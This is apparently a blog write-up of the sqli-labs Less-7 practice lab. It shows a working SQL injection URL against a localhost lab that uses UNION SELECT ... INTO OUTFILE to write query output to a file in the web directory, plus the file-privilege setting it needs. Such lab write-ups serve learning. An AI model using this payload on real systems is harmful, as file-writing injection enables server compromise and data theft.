zoukankan      html  css  js  c++  java
  • 【sqli-labs】Less7

    Less-7: 输出文件

    sql导出文件语句

    select * from table_test into outfile 'test.txt'

    既然名字是输出文件,那肯定是和文件有关系。

    首先,确保sql有写文件权限,即my.ini中有类似下面的语句。这里我作弊了,直接设置了sqli-labs-master的文件夹可以写文件。

    secure_file_priv="D:/phpStudy/WWW/sqli-labs-master"

    中间过程略过。最终写文件的语句为:

    http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,@@version into outfile 'D:\phpStudy\WWW\sqli-labs-master\test_7.txt' -- a

    直接通过http请求可以看到页面

    http://127.0.0.1/sqli-labs-master/test_7.txt
  • 相关阅读:
    B-树与B+树
    RPC原理
    高可用
    Srpingboot与dubbo整合的三种方式
    html
    SQL5
    SQL4
    SQL3
    SQL2
    SQL语句1
  • 原文地址:https://www.cnblogs.com/dplearning/p/7367911.html
Copyright © 2011-2022 走看看